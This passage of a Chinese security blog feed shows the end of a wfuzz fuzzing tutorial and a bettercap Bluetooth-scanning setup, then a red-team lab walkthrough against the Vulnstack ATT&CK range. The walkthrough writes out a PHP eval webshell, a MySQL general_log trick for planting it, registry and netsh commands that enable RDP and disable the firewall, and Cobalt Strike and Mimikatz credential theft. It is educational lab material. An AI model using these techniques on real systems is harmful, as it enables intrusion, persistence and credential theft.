class="line"></span><br><span class="line">Target: http://testphp.vulnweb.com/</span><br><span class="line">Total requests: 125</span><br><span class="line"></span><br><span class="line">=====================================================================</span><br><span class="line">ID           Response   Lines    Word       Chars       Payload                           </span><br><span class="line">=====================================================================</span><br><span class="line"></span><br><span class="line">000000014:   200        109 L    388 W      4958 Ch     &quot;\x3D%20\x3B&apos;&quot;                    </span><br><span class="line">000000012:   200        109 L    388 W      4958 Ch     &quot;\x23&quot;                            </span><br><span class="line">000000003:   200        109 L    388 W      4958 Ch     &quot;#&quot;                               </span><br><span class="line">000000007:   200        109 L    388 W      4958 Ch     &quot;--&apos;;&quot;                            </span><br><span class="line">000000001:   200        109 L    388 W      4958 Ch     &quot;&apos;&quot;                               </span><br><span class="line">000000016:   200        109 L    388 W      4958 Ch     &quot;\x27\x4F\x52 SELECT *&quot;           </span><br><span class="line">000000011:   200        109 L    388 W      4958 Ch     &quot;=%20--&quot;                          </span><br><span class="line">000000010:   200        109 L    388 W      4958 Ch     &quot;=%20;&quot;                           </span><br><span class="line">000000013:   200        109 L    388 W      4958 Ch     &quot;\x27&quot;</span><br></pre></td></tr></table></figure><h2 id="请求方法模糊测试"><a href="#请求方法模糊测试" class="headerlink" title="请求方法模糊测试"></a>请求方法模糊测试</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">$ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/</span><br><span class="line">********************************************************</span><br><span class="line">* Wfuzz 3.1.0 - The Web Fuzzer                         *</span><br><span class="line">********************************************************</span><br><span class="line"></span><br><span class="line">Target: http://testphp.vulnweb.com/</span><br><span class="line">Total requests: 5</span><br><span class="line"></span><br><span class="line">=====================================================================</span><br><span class="line">ID           Response   Lines    Word       Chars       Payload                           </span><br><span class="line">=====================================================================</span><br><span class="line"></span><br><span class="line">000000002:   200        0 L      0 W        0 Ch        &quot;HEAD - HEAD&quot;                     </span><br><span class="line">000000005:   405        7 L      11 W       157 Ch      &quot;OPTIONS - OPTIONS&quot;               </span><br><span class="line">000000001:   200        109 L    388 W      4958 Ch     &quot;GET - GET&quot;                       </span><br><span class="line">000000003:   200        109 L    388 W      4958 Ch     &quot;POST - POST&quot;                     </span><br><span class="line">000000004:   405        7 L      11 W       157 Ch      &quot;TRACE - TRACE&quot;                   </span><br><span class="line"></span><br><span class="line">Total time: 0</span><br><span class="line">Processed Requests: 5</span><br><span class="line">Filtered Requests: 0</span><br><span class="line">Requests/sec.: 0</span><br></pre></td></tr></table></figure><h2 id="通过代理进行模糊测试"><a href="#通过代理进行模糊测试" class="headerlink" title="通过代理进行模糊测试"></a>通过代理进行模糊测试</h2><p>比如下面可以给到burp</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wfuzz -z file,wordlist/general/common.txt -p localhost:8080 http://testphp.vulnweb.com/FUZZ</span><br></pre></td></tr></table></figure><p>下面是SOCKS5代理的例子</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wfuzz -z file,wordlist/general/common.txt -p localhost:9500:SOCKS5 http://testphp.vulnweb.com/FUZZ</span><br></pre></td></tr></table></figure><h2 id="身份验证模糊"><a href="#身份验证模糊" class="headerlink" title="身份验证模糊"></a>身份验证模糊</h2><blockquote><p>–basic：提供基本的用户名和密码验证<br>–ntlm：Windows 身份验证<br>–digest：通过摘要访问进行网络服务器协商</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">$ wfuzz -z list,nonvalid-httpwatch --basic FUZZ:FUZZ https://www.httpwatch.com/httpgallery/authentication/authenticatedimage/default.aspx</span><br><span class="line">********************************************************</span><br><span class="line">* Wfuzz 3.1.0 - The Web Fuzzer                         *</span><br><span class="line">********************************************************</span><br><span class="line"></span><br><span class="line">Target: https://www.httpwatch.com/httpgallery/authentication/authenticatedimage/default.aspx</span><br><span class="line">Total requests: 2</span><br><span class="line"></span><br><span class="line">=====================================================================</span><br><span class="line">ID           Response   Lines    Word       Chars       Payload                           </span><br><span class="line">=====================================================================</span><br><span class="line"></span><br><span class="line">000000001:   401        0 L      11 W       58 Ch       &quot;nonvalid - nonvalid&quot;             </span><br><span class="line">000000002:   200        20 L     159 W      5037 Ch     &quot;httpwatch - httpwatch&quot;           </span><br><span class="line"></span><br><span class="line">Total time: 0</span><br><span class="line">Processed Requests: 2</span><br><span class="line">Filtered Requests: 0</span><br><span class="line">Requests/sec.: 0</span><br></pre></td></tr></table></figure><h2 id="编码器"><a href="#编码器" class="headerlink" title="编码器"></a>编码器</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">$ wfuzz -z file,wordlist/general/common.txt,md5 http://testphp.vulnweb.com/FUZZ</span><br><span class="line">********************************************************</span><br><span class="line">* Wfuzz 3.1.0 - The Web Fuzzer                         *</span><br><span class="line">********************************************************</span><br><span class="line"></span><br><span class="line">Target: http://testphp.vulnweb.com/FUZZ</span><br><span class="line">Total requests: 951</span><br><span class="line"></span><br><span class="line">=====================================================================</span><br><span class="line">ID           Response   Lines    Word       Chars       Payload                           </span><br><span class="line">=====================================================================</span><br><span class="line"></span><br><span class="line">000000001:   404        7 L      11 W       153 Ch      &quot;518ed29525738cebdac49c49e60ea9d3&quot;</span><br><span class="line">000000009:   404        7 L      11 W       153 Ch      &quot;a9b7ba70783b617e9998dc4dd82eb3c5&quot;</span><br><span class="line">000000004:   404        7 L      11 W       153 Ch      &quot;a2ef406e2c2351e0b9e80029c909242d&quot;</span><br><span class="line">000000005:   404        7 L      11 W       153 Ch      &quot;e45ee7ce7e88149af8dd32b27f9512ce&quot;</span><br><span class="line">000000008:   404        7 L      11 W       153 Ch      &quot;f899139df5e1059396431415e770c6dd&quot;</span><br><span class="line">000000003:   404        7 L      11 W       153 Ch      &quot;96a3be3cf272e017046d1b2674a52bd3&quot;</span><br><span class="line">000000010:   404        7 L      11 W       153 Ch      &quot;202cb962ac59075b964b07152d234b70&quot;</span><br><span class="line">000000002:   404        7 L      11 W       153 Ch      &quot;b4b147bc522828731f1a016bfa72c073&quot;</span><br><span class="line">000000007:   404        7 L      11 W       153 Ch      &quot;d3d9446802a44259755d38e6d163e820&quot;</span><br></pre></td></tr></table></figure><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://www.ddosi.org/wfuzz-guide/" target="_blank" rel="noopener">https://www.ddosi.org/wfuzz-guide/</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;再fuzzing领域，最流行的是再二进制漏洞挖掘，后面也出来webfuzz，就是今天的wfuzz，其实有些在web领域算是暴力破解，但是说fuzz也没毛病。&lt;/p&gt;
&lt;h1 id=&quot;安装及简介&quot;&gt;&lt;a href=&quot;#安装及简介&quot; class=&quot;headerlink&quot; tit
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-08" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-08/"/>
    
    
      <category term="web,fuzz" scheme="https://www.giantbranch.cn/tags/web-fuzz/"/>
    
  </entry>
  
  <entry>
    <title>利用bettercap进行蓝牙扫描</title>
    <link href="https://www.giantbranch.cn/2024/07/16/%E5%88%A9%E7%94%A8bettercap%E8%BF%9B%E8%A1%8C%E8%93%9D%E7%89%99%E6%89%AB%E6%8F%8F/"/>
    <id>https://www.giantbranch.cn/2024/07/16/利用bettercap进行蓝牙扫描/</id>
    <published>2024-07-15T16:00:00.000Z</published>
    <updated>2024-12-01T02:00:00.369Z</updated>
    
    <content type="html"><![CDATA[<h1 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h1><p>ubuntu 22.04</p><h1 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h1><p>依赖安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt update</span><br><span class="line">sudo apt install golang git build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev</span><br></pre></td></tr></table></figure><p>安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"># 先设置代理</span><br><span class="line">go env -w GOPROXY=https://goproxy.cn,direct</span><br><span class="line">go install github.com/bettercap/bettercap@latest</span><br></pre></td></tr></table></figure><h1 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h1><p>安装web ui</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo bettercap -eval &quot;caplets.update; ui.update; q&quot;</span><br></pre></td></tr></table></figure><p>启动</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo bettercap -caplet http-ui</span><br></pre></td></tr></table></figure><p>可以通过<code>/usr/local/share/bettercap/caplets/http-ui.cap</code>文件修改监听地址和账户密码</p><h1 id="使用-1"><a href="#使用-1" class="headerlink" title="使用"></a>使用</h1><p>直接到web页面的蓝牙处使用即可</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;实验环境&quot;&gt;&lt;a href=&quot;#实验环境&quot; class=&quot;headerlink&quot; title=&quot;实验环境&quot;&gt;&lt;/a&gt;实验环境&lt;/h1&gt;&lt;p&gt;ubuntu 22.04&lt;/p&gt;
&lt;h1 id=&quot;安装&quot;&gt;&lt;a href=&quot;#安装&quot; class=&quot;headerlink&quot; 
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-06" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-06/"/>
    
    
      <category term="蓝牙扫描" scheme="https://www.giantbranch.cn/tags/%E8%93%9D%E7%89%99%E6%89%AB%E6%8F%8F/"/>
    
  </entry>
  
  <entry>
    <title>ATT&amp;CK红队评估实战靶场（一）</title>
    <link href="https://www.giantbranch.cn/2024/07/08/ATT&amp;CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E5%AE%9E%E6%88%98%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%80%EF%BC%89/"/>
    <id>https://www.giantbranch.cn/2024/07/08/ATT&amp;CK红队评估实战靶场（一）/</id>
    <published>2024-07-07T16:00:00.000Z</published>
    <updated>2024-12-01T02:32:50.574Z</updated>
    
    <content type="html"><![CDATA[<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>环境下载地址：<a href="http://vulnstack.qiyuanxuetang.net/vuln/detail/2/" target="_blank" rel="noopener">http://vulnstack.qiyuanxuetang.net/vuln/detail/2/</a></p><p>注：虚拟机所有统一密码：hongrisec@2019</p><p>新建一个网卡vmnetX(比如vmnet2)，仅主机模式，ip网段是192.168.52.0/24</p><p>win7设置两个网卡，一个仅主机模式（vmnetX），另一个NAT或者桥接</p><p>win2003和2008都是（vmnetX）</p><p>环境连通性测试，win7 ping一下138和141，</p><p>靶机：<br>win7 外网ip:192.168.X.X（我这是232.129）  内网ip:192.168.52.143<br>win03 ip: 192.168.52.141<br>win08 ip: 192.168.52.138</p><p>进入win7的C盘的phpstudy，开启web服务即可</p><h1 id="渗透"><a href="#渗透" class="headerlink" title="渗透"></a>渗透</h1><p>端口扫描</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/6ec9569fa40b5f45b3bb9285c0fe4478_1721184879921.png" alt><br>80端口访问是phpstudy的探针</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/1b127b3a9ba0500ea6cc6fcc665f79c8_1724137696518.png" alt></p><p>接下来进行目录扫描</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/91f9266c700fc15ac3b977aee4608d89_1721194912599.png" alt><br>可以看到这里有备份文件，phpinfo和phpmyadmin</p><p>下载备份文件，解压后是一个yxcms的目录，里面robots.txt的内容如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#</span><br><span class="line"># robots.txt for YXCMS</span><br><span class="line">#</span><br><span class="line">User-agent: * </span><br><span class="line">Disallow: /data</span><br><span class="line">Disallow: /protected</span><br></pre></td></tr></table></figure><p>在目录data\db_back\1384692844\1384692844_part0.sql.php的文件，里面看着是sql备份文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php exit;?&gt;DROP TABLE IF EXISTS yx_admin</span><br><span class="line">CREATE TABLE `yx_admin` (  `id` int(10) unsigned NOT NULL auto_increment,  `groupid` tinyint(4) NOT NULL default &apos;1&apos;,  `username` char(10) NOT NULL,  `realname` char(15) NOT NULL,  `password` char(32) NOT NULL,  `lastlogin_time` int(10) unsigned NOT NULL,  `lastlogin_ip` char(15) NOT NULL,  `iflock` tinyint(1) unsigned NOT NULL default &apos;0&apos;,  `sortpower` text NOT NULL,  `extendpower` varchar(100) NOT NULL,  PRIMARY KEY  (`id`),  UNIQUE KEY `usename` (`username`),  KEY `groupid` (`groupid`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT=&apos;管理员信息表&apos;;</span><br><span class="line">INSERT INTO yx_admin VALUES(&apos;1&apos;,&apos;1&apos;,&apos;admin&apos;,&apos;YX&apos;,&apos;168a73655bfecefdb15b14984dd2ad60&apos;,&apos;1384692085&apos;,&apos;127.0.0.1&apos;,&apos;0&apos;,&apos;&apos;,&apos;&apos;)</span><br><span class="line">DROP TABLE IF EXISTS yx_extend</span><br><span class="line">CREATE TABLE `yx_extend` (  `id` int(10) NOT NULL auto_increment,  `pid` int(10) default &apos;0&apos;,  `tableinfo` varchar(255) default NULL,  `type` int(4) default &apos;0&apos;,  `defvalue` varchar(255) default NULL,  `name` varchar(255) default NULL,  `norder` int(5) NOT NULL default &apos;0&apos;,  `ifsearch` tinyint(1) NOT NULL,  PRIMARY KEY  (`id`)) ENGINE=MyISAM AUTO_INCREMENT=18 DEFAULT CHARSET=utf8;</span><br><span class="line">INSERT INTO yx_extend VALUES(&apos;1&apos;,&apos;0&apos;,&apos;extend_product&apos;,&apos;0&apos;,&apos;&apos;,&apos;产品拓展&apos;,&apos;0&apos;,&apos;0&apos;)</span><br><span class="line">INSERT INTO yx_extend VALUES(&apos;2&apos;,&apos;1&apos;,&apos;stand&apos;,&apos;1&apos;,&apos;未知&apos;,&apos;产品型号&apos;,&apos;0&apos;,&apos;0&apos;)</span><br><span class="line">.................</span><br><span class="line">.................</span><br><span class="line">.................</span><br></pre></td></tr></table></figure><p>那个密码md5解密后是949ba59abbe56e05，感觉挺长的。。。，不知道对不对</p><p>使用这个登录好像不对，首页有个公告，这个就可以直接登录进去了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">本站为YXcms的默认演示模板，YXcms是一款基于PHP+MYSQL构建的高效网站管理系统。 后台地址请在网址后面加上/index.php?r=admin进入。 后台的用户名:admin;密码:123456，请进入后修改默认密码。</span><br></pre></td></tr></table></figure><p>根据备份文件，模板目录在yxcms\protected\apps\default\view\default</p><p>新建一句话木马模板，webshell连接（实际访问<code>http://192.168.232.129/yxcms/protected/apps/default/view/default/</code> ,发现还有列目录的漏洞）</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/2403e960f84455ea4e44649122c548ce_1724142180786.png" alt></p><p>数据库那个是root/root的弱密码，试试能不能直接写文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT &apos;&lt;?php @eval($_POST[cmd]);?&gt;&apos; into outfile &apos;C:/phpStudy/WWW/test.php&apos;</span><br></pre></td></tr></table></figure><p>报错：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement</span><br></pre></td></tr></table></figure><p>这个我们可以查询全家变量</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SHOW GLOBAL VARIABLES LIKE &apos;%secure%&apos;</span><br></pre></td></tr></table></figure><p>可以看到<code>secure_file_priv</code>的值为<code>NULL</code>，所以无法写入，而且是只读的，无法更改</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/c4843dce0f5a8dfbb230231d2c02e7cc_1724143102061.png" alt></p><p>另外可以尝试写日志</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/b7c219043b3f453cac256876400fa301_1724142996204.png" alt></p><p>这里默认是关的，我们打开</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SET GLOBAL general_log = ON</span><br><span class="line">SET GLOBAL general_log_file = &apos;C:/phpStudy/WWW/666.php&apos;</span><br></pre></td></tr></table></figure><p>再执行<code>Select &#39;&lt;?php @eval($_POST[666]);?&gt;&#39;</code>查询语句，接下来webshell连接即可</p><h2 id="主机信息收集"><a href="#主机信息收集" class="headerlink" title="主机信息收集"></a>主机信息收集</h2><p>执行虚拟终端，用户名是administrator，还有一个内网ip：192.168.52.143</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/9fce58a77ebb09560e8f7419b7287fa9_1724143974270.png" alt><br>系统及补丁信息（可以看到系统类型:         x64-based PC）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">C:\phpStudy\WWW&gt; systeminfo</span><br><span class="line">主机名:           STU1</span><br><span class="line">OS 名称:          Microsoft Windows 7 专业版 </span><br><span class="line">OS 版本:          6.1.7601 Service Pack 1 Build 7601</span><br><span class="line">OS 制造商:        Microsoft Corporation</span><br><span class="line">OS 配置:          成员工作站</span><br><span class="line">OS 构件类型:      Multiprocessor Free</span><br><span class="line">注册的所有人:     Windows 用户</span><br><span class="line">注册的组织:       </span><br><span class="line">产品 ID:          00371-177-0000061-85693</span><br><span class="line">初始安装日期:     2019/8/25, 9:54:10</span><br><span class="line">系统启动时间:     2024/8/20, 14:53:01</span><br><span class="line">系统制造商:       VMware, Inc.</span><br><span class="line">系统型号:         VMware Virtual Platform</span><br><span class="line">系统类型:         x64-based PC</span><br><span class="line">处理器:           安装了 1 个处理器。</span><br><span class="line">                  [01]: AMD64 Family 25 Model 80 Stepping 0 AuthenticAMD ~3194 Mhz</span><br><span class="line">BIOS 版本:        Phoenix Technologies LTD 6.00, 2020/11/12</span><br><span class="line">Windows 目录:     C:\Windows</span><br><span class="line">系统目录:         C:\Windows\system32</span><br><span class="line">启动设备:         \Device\HarddiskVolume1</span><br><span class="line">系统区域设置:     zh-cn;中文(中国)</span><br><span class="line">输入法区域设置:   zh-cn;中文(中国)</span><br><span class="line">时区:             (UTC+08:00)北京，重庆，香港特别行政区，乌鲁木齐</span><br><span class="line">物理内存总量:     2,047 MB</span><br><span class="line">可用的物理内存:   1,258 MB</span><br><span class="line">虚拟内存: 最大值: 4,095 MB</span><br><span class="line">虚拟内存: 可用:   3,213 MB</span><br><span class="line">虚拟内存: 使用中: 882 MB</span><br><span class="line">页面文件位置:     C:\pagefile.sys</span><br><span class="line">域:               god.org</span><br><span class="line">登录服务器:       \\OWA</span><br><span class="line">修补程序:         安装了 4 个修补程序。</span><br><span class="line">                  [01]: KB2534111</span><br><span class="line">                  [02]: KB2999226</span><br><span class="line">                  [03]: KB958488</span><br><span class="line">                  [04]: KB976902</span><br><span class="line">网卡:             安装了 5 个 NIC。</span><br><span class="line">                  [01]: Intel(R) PRO/1000 MT Network Connection</span><br><span class="line">                      连接名:      本地连接</span><br><span class="line">                      启用 DHCP:   否</span><br><span class="line">                      IP 地址</span><br><span class="line">                        [01]: 192.168.52.143</span><br><span class="line">                        [02]: fe80::15ce:507f:6840:5c62</span><br><span class="line">                  [02]: TAP-Windows Adapter V9</span><br><span class="line">                      连接名:      本地连接 2</span><br><span class="line">                      状态:        媒体连接已中断</span><br><span class="line">                  [03]: Microsoft Loopback Adapter</span><br><span class="line">                      连接名:      Npcap Loopback Adapter</span><br><span class="line">                      启用 DHCP:   是</span><br><span class="line">                      DHCP 服务器: 255.255.255.255</span><br><span class="line">                      IP 地址</span><br><span class="line">                        [01]: 169.254.129.186</span><br><span class="line">                        [02]: fe80::b461:ccad:e30f:81ba</span><br><span class="line">                  [04]: TAP-Windows Adapter V9</span><br><span class="line">                      连接名:      本地连接 3</span><br><span class="line">                      状态:        媒体连接已中断</span><br><span class="line">                  [05]: Intel(R) PRO/1000 MT Network Connection</span><br><span class="line">                      连接名:      本地连接 5</span><br><span class="line">                      启用 DHCP:   是</span><br><span class="line">                      DHCP 服务器: 192.168.232.254</span><br><span class="line">                      IP 地址</span><br><span class="line">                        [01]: 192.168.232.129</span><br><span class="line">                        [02]: fe80::ed80:3750:5fdb:1c0d</span><br></pre></td></tr></table></figure><p>cs上线</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/b98b9216523f80a72575c80c0500f6c1_1724210921463.png" alt><br>运行Mimikatz即可获得密码</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/b9e223ddfe9d968570d1e19c2cee688f_1724217593180.png" alt><br>直接右键elevate提权<br><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/e81745b14283f507875555fa84b699c8_1724218692547.png" alt></p><blockquote><p>Cobalt Strike 中的 <code>elevate</code> 命令用于提升权限，其中 <code>svc-exe</code> 是其中一种提权方法。<code>svc-exe</code> 提权方法的基本原理是利用 Windows 服务的一个特性：如果一个服务是以 SYSTEM 权限运行的，那么利用该服务启动的程序也将以 SYSTEM 权限运行。以下是 <code>svc-exe</code> 提权的一般步骤和原理：</p><ol><li><strong>创建一个以 SYSTEM 权限启动的程序</strong>：这个程序的作用是连接指定的命名管道。</li><li><strong>创建一个进程</strong>：该进程创建一个命名管道。</li><li><strong>利用管道进行交互</strong>：让以 SYSTEM 权限启动的程序启动并连接这个命名管道。</li><li><strong>利用 <code>ImpersonateNamedPipeClient</code> 函数</strong>：生成 SYSTEM 权限的 token。</li><li><strong>利用 SYSTEM 权限的 token 启动程序</strong>：例如启动 cmd.exe，从而获得一个 SYSTEM 权限的 shell。</li></ol><p>在 Cobalt Strike 中使用 <code>svc-exe</code> 提权时，会在目标机上生成一个基于服务自启动的 exe 程序，该程序响应 Service Control Manager 命令。提权成功后，会通过 SYSTEM 权限回连指定的监听器，并在 Cobalt Strike 服务端新生成一个会话 。</p><p>需要注意的是，<code>svc-exe</code> 提权方法需要在已经获取的会话中执行，并且该会话需要有一定的权限来创建服务和写入文件。此外，这种方法可能需要目标系统上存在特定的服务配置或漏洞，以便成功执行提权操作。如果目标系统已经打过补丁或配置得当，这种方法可能不会成功。</p></blockquote><p><code>ipconfig /all</code>可以看到域是god.org</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/5d9ecef6ea4d8e4fbf0111b4193e9936_1724219768850.png" alt><br>net config workstation查看当前的计算机名，用户名，系统版本，域等信息<br><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/109dff0300c94f658b92672fe9d848cc_1724219859974.png" alt><br>net view /domain 查看域的情况（有时候有多个域），只有一个GOD</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/a88fa8ea74a94c9fdd272d4bd1fdb5f3_1724220591428.png" alt><br>cs域成员查询，并确认域控（PDC：主域控制器，运行 windows NT server 负责验证域登录和维护域目录数据库的计算机），不过cs的ip地址显示不正确的。</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/38555190f299f38df34c22395f9a9b44_1724738591045.png" alt><br>开3389</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">注册表开启3389端口</span><br><span class="line">REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&quot; &quot;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">关闭防火墙</span><br><span class="line">netsh firewall set opmode disable   #winsows server 2003 之前</span><br><span class="line">netsh advfirewall set allprofiles state off #winsows server 2003 之后</span><br></pre></td></tr></table></figure><p>fscan内网扫描</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/6008ff1684693c4745663cf9a166c3da_1724638903904.png" alt><br>详细扫描结果如下：</p><p>可以看到143是有MS17-010漏洞的，提权就可以用这个</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span 